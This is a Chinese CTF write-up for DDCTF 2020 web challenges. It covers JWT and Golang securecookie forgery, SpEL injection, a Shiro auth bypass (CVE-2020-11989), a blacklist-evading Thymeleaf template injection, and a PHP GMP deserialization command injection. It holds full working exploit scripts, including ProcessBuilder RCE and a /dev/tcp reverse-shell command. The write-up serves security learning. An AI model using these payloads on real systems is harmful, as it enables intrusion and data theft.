DDCTF 2020 WEB WriteUp
Web签到题
第一个POST传入username和pwd会返回token,第二个POST传入username,pwd和token会得到client下载链接,但第二个POST直接提交是提示need ADMIN permission,看来需要伪造JWT,一开始利用c-jwt-cracker 爆破很久都没成功,后来队友成功了,发现secret key就是第一个POST包中自己传入的pwd,而我是因为一开始填的pwd太复杂…
将JWT中的userRole修改为ADMIN POST到/admin/auth
得到client下载地址
clinet向服务器发送command,可以在命令行export http_proxy=ip:port
设置代理,burp抓包
需要先解决的是signature的算法,队友逆出签名计算方法为 HMAC sha256 加密 command|time_stamp
后base64编码,HMAC加密的密钥为DDCTFWithYou
然后测试了很久发现是可以注入SPEL表达式,最终POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport reimport timeimport urllib.parsedef getSignature (command,time ): command=urllib.parse.quote(command) headers = { "Host" : "1024tools.com" , "Content-Type" : "application/x-www-form-urlencoded" } url = "https://1024tools.com/hmac" data="query=" +command+"|" +time+"&algo=sha256&key=DDCTFWithYou" res = requests.post(url=url,headers=headers,data=data) r=re.compile ('B:(HMAC(.*?)<textarea class="form-control" id="result_base64" rows="2" spellcheck="false" name="result" cols="50">(.*?)</textarea>' ,re.DOTALL) return r.search(res.text).group(2 ) def sendCommand (command,time ): signature = getSignature(command,time) headers = { "Host" : "117.51.136.197" , "Content-Type" : "application/json" } url = "http://117.51.136.197/server/command" data = '{"signature":"' +signature+'","command":"' +command+'","timestamp":' +time+'}' res = requests.post(url=url,headers=headers,data=data) return res.text command = "T(java.nio.file.Files).lines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'))" print (sendCommand(command,str (int (time.time()))))
卡片商店 借入卡片的时候有溢出漏洞,借入1000000000000,账户立即入账1000000000000,但只需还3567587330,然后兑换礼物
得到提示
url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12
由cookie中session的特征一顿百度谷歌后,确定了是来自Golang的securecookie,Udc13VD5adM_c10nPxFu@v12
是密钥,应该是需要伪造session中的某些字段(这里是将admin设为true),POC如下
(session base64解码后是明文数据,所以securecookie.New(hashKey, nil)
第二个参数应该传入nil,至于map[interface{}]interface{}这个结构的构造,由于不太懂Golang,是观察session base64解密后的明文试了很久才得出的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package mainimport "github.com/gorilla/securecookie" import "fmt" var hashKey = []byte ("Udc13VD5adM_c10nPxFu@v12" )var s = securecookie.New(hashKey, nil )func main () { encode() } func encode () { value := map [interface {}]interface {} {"admin" :true ,"wallet" :"{\"owings\":[],\"invests\":[],\"money\":996432412472,\"now_time\":1599208994,\"start_time\":1599208954}" } encoded, err := s.Encode("session" , value) if err == nil { fmt.Println(encoded) }else { fmt.Println(err) } } func decode () { value := make (map [interface {}]interface {}) var err error if err = s.Decode("session" , "MTU5OTIwOTAzNHxEdi1CQkFFQ180SUFBUkFCRUFBQV81Yl9nZ0FDQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHVjBCbk4wY21sdVp3eGZBRjE3SW05M2FXNW5jeUk2VzEwc0ltbHVkbVZ6ZEhNaU9sdGRMQ0p0YjI1bGVTSTZPVGsyTkRNeU5ERXlORGN5TENKdWIzZGZkR2x0WlNJNk1UVTVPVEl3T0RrNU5Dd2ljM1JoY25SZmRHbHRaU0k2TVRVNU9USXdPRGsxTkgwPXyt-B6Jm23Kk8B5z2K_UKTx67JL4Qxam0wgJg3Oh7H38w==" , &value); err == nil { fmt.Println(value) }else { fmt.Println(err) } }
最后带上伪造的session访问/flag
Easy Web 这题从早上一直肝到下午,终于拿到一血,感觉对Java知识点考察很多
抓包发现有rememberMe=deleteMe,第一反应是Shiro反序列化漏洞,拿Xray跑了一波常用key无果,就又尝试了Shiro的权限绕过漏洞,成功访问到index路由
CVE-2020-11989
在网页源码中发现文件下载接口./img?img=static/hello.jpg
,然后此时的思路就是读配置文件,读class文件,审计,找洞
WEB项目首先是WEB-INF/web.xml
比较有用的是这俩spring的配置,这里classpath是指WEB-INF目录下的classes目录
WEB-INF/classes/spring-web.xml
拿到了项目部分包名,后面读取class文件时需要(包名对应路径)
WEB-INF/classes/spring-core.xml
其实看到有个模板引擎thymeleaf就猜到后面可能要考Java的模板注入
WEB-INF/classes/spring-shiro.xml
得到一个类名,那就可以读取class文件了
WEB-INF/classes/com/ctf/auth/ShiroRealm.class
然后反编译根据Java代码中的import的类去读取了其他class,但没有具体进展,最后是由命名规则猜测文件名得到了WEB-INF/classes/com/ctf/controller/AuthController.class
是admin的话重定向到这个路由,那么直接利用Shiro权限绕过漏洞访问
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index
没错就是考察的thymeleaf模板注入,不过这里貌似有黑名单,具体表现就是不能出现引号,也就是说字符串要另外想办法构造,不能出现某些方法的关键字,比如File类中的readXxx方法,反射中的invoke方法,导致没办法用常规办法执行命令和读取文件,也不能通过反射动态调用被ban的方法。
后面很多时间都是在绕这里的限制,最后的解决方法就是
字符串通过字符拼接来构造
1 <input th:value =${T(com.ctf.model.User).getName()[3].replace(46,108)+T(com.ctf.model.User).getName()[3].replace(46,51)+T(com.ctf.model.User).getName()[3].replace(46,121)+T(com.ctf.model.User).getName()[3].replace(46,120)} >
防止类名被ban,使用getClassLoader的loadClass动态加载所需类
1 <input th:value =${T(com.ctf.model.User).getClassLoader().loadClass(类名字符串)} >
使用Files类的list和lines方法列举和读取文件,使用toArray() 和 Arrays.toString() 把内容流转换为字符串输出
1 2 Arrays.toString( java.nio.file.Files.list(java.nio.file.Paths.get("/" )).toArray() ); Arrays.toString( java.nio.file.Files.lines(java.nio.file.Paths.get("/etc/passwd" )).toArray() );
最后POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport urllib.parseimport reheaders = { "Host" : "116.85.37.131" , "Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "Origin" : "http://116.85.37.131" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" , } def render (payload ): print ("[+] submit..." ) url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize" data = "content=" +urllib.parse.quote_plus(payload) res = requests.post(url = url,headers = headers,data = data) if re.search("Success! Please fetch .(.*)? !" ,res.text) is None : print (res.text) exit() else : return re.search("Success! Please fetch .(.*)? !" ,res.text).group(1 ) def getResult (url ): print ("[+] getResult..." ) url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef" +url res = requests.get(url,headers=headers) return res.text def getString (string ): strc="" for i in string: strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+" .format (str (ord (i))) return strc[:-1 ] def getClass (className ): return "T(com.ctf.model.User).getClassLoader().loadClass(" +getString(className)+")" poc = "${" +getClass("java.util.Arrays" )+".toString(" + getClass("java.nio.file.Files" )+".list(" +getClass("java.nio.file.Paths" )+".get(" +getString("/" )+")).toArray()" +")}" poc = "<input th:value=" +poc+">" print (getResult(render(poc)))poc = "${" +getClass("java.util.Arrays" )+".toString(" + getClass("java.nio.file.Files" )+".lines(" +getClass("java.nio.file.Paths" )+".get(" +getString("/flag_is_here" )+")).toArray()" +")}" poc = "<input th:value=" +poc+">" print (getResult(render(poc)))
比赛结束后又尝试了绕过限制getShell成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport urllib.parseimport reheaders = { "Content-Type" : "application/x-www-form-urlencoded" , } def submit (payload ): print ("[+] submit..." ) url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize" data = "content=" +urllib.parse.quote_plus(payload) res = requests.post(url = url,headers = headers,data = data) if re.search("Success! Please fetch .(.*)? !" ,res.text) is None : print (res.text) exit() else : return re.search("Success! Please fetch .(.*)? !" ,res.text).group(1 ) def getResult (url ): print ("[+] getResult..." ) url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef" +url res = requests.get(url,headers=headers) return res.text def getString (string ): strc="" for i in string: strc = strc + "T(com.ctf.model.User).getName()[3].replace(46,{})+" .format (str (ord (i))) return strc[:-1 ] def getClass (className ): return "T(com.ctf.model.User).getClassLoader().loadClass(" +getString(className)+")" def getResultWithParameter (url,parameter ): print ("[+] getResult..." ) url = "http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef" +url+parameter res = requests.get(url,headers=headers) return res.text poc = "[[${" +getClass("java.lang.ProcessBuilder" )+".getConstructors()[1].newInstance(#request.getParameterValues(" +getString("cmd" )+")).start()}]]" print (getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd=echo success> /tmp/leixiao" ))poc = "${" +getClass("java.util.Arrays" )+".toString(" + getClass("java.nio.file.Files" )+".list(" +getClass("java.nio.file.Paths" )+".get(" +getString("/tmp" )+")).toArray()" +")}" poc = "<input th:value=" +poc+">" print (getResult(submit(poc)))poc = "${" +getClass("java.util.Arrays" )+".toString(" + getClass("java.nio.file.Files" )+".lines(" +getClass("java.nio.file.Paths" )+".get(" +getString("/tmp/leixiao" )+")).toArray()" +")}" poc = "<input th:value=" +poc+">" print (getResult(submit(poc)))
1 getResultWithParameter(submit(poc),"?cmd=/bin/bash&cmd=-c&cmd=" +urllib.parse.quote_plus("/bin/bash -i >&/dev/tcp/x.x.x.x/7777 0>&1" ) )
反弹Shell后发现权限很低
就拖份源码吧
Overwrite Me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 <?php error_reporting (0 );class MyClass { var $kw0ng ; var $flag ; public function __wakeup ( ) { $this ->kw0ng = 2 ; } public function get_flag ( ) { return system ('find /HackersForever ' . escapeshellcmd ($this ->flag)); } } class HintClass { protected $hint ; public function execute ($value ) { include ($value ); } public function __invoke ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i" , $this ->hint)) { die ("Don't Do That!" ); } $this ->execute ($this ->hint); } } class ShowOff { public $contents ; public $page ; public function __construct ($file ='/hint/hint.php' ) { $this ->contents = $file ; echo "Welcome to DDCTF 2020, Have fun!<br/><br/>" ; } public function __toString ( ) { return $this ->contents (); } public function __wakeup ( ) { $this ->page->contents = "POP me! I can give you some hints!" ; unset ($this ->page->cont); } } class MiddleMan { private $cont ; public $content ; public function __construct ( ) { $this ->content = array (); } public function __unset ($key ) { $func = $this ->content; return $func (); } } class Info { function __construct ( ) { eval ('phpinfo();' ); } } $show = new ShowOff ();$bullet = $_GET ['bullet' ];if (!isset ($bullet )){ highlight_file (__FILE__ ); die ("Give Me Something!" ); }else if ($bullet == 'phpinfo' ) { $infos = new Info (); }else { $obstacle1 = new stdClass ; $obstacle2 = new stdClass ; $mc = new MyClass (); $mc ->flag = "MyClass's flag said, Overwrite Me If You Can!" ; @unserialize ($bullet ); echo $mc ->get_flag (); }
/hint/hint.php
得到提示和一半flag
以关键字google到参考文章https://hackerone.com/reports/198734
覆盖$mc
对象的flag
属性,命令注入,题目中的$mc在本地搭建环境打印出来后为object#4,尝试了很久很久才发现文章中的poc里的s:1:"1"
要改成s:1:"4"
,其中的4决定了GMP覆盖的对象是哪个object,DateInterval为php5.6-5.6.11可利用的内置类,POC如下
1 2 3 4 <?php $inner = 's:1:"4";a:3:{s:5:"kw0ng";R:2;s:4:"flag";s:43:"-exec cat /HackersForever/suffix_flag.php ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}' ;$exploit = 'a:1:{i:0;C:3:"GMP":' .strlen ($inner ).':{' .$inner .'}}' ;echo $exploit ;
后来看其他师傅的WP发现不用GMP,也可以直接构造POP链获取flag,参考https://www.anquanke.com/post/id/216694
(一直不知道在$v
可控的情况下,可以传入元素为一个对象和函数名的数组,这样$v()
就能调用这个对象的方法)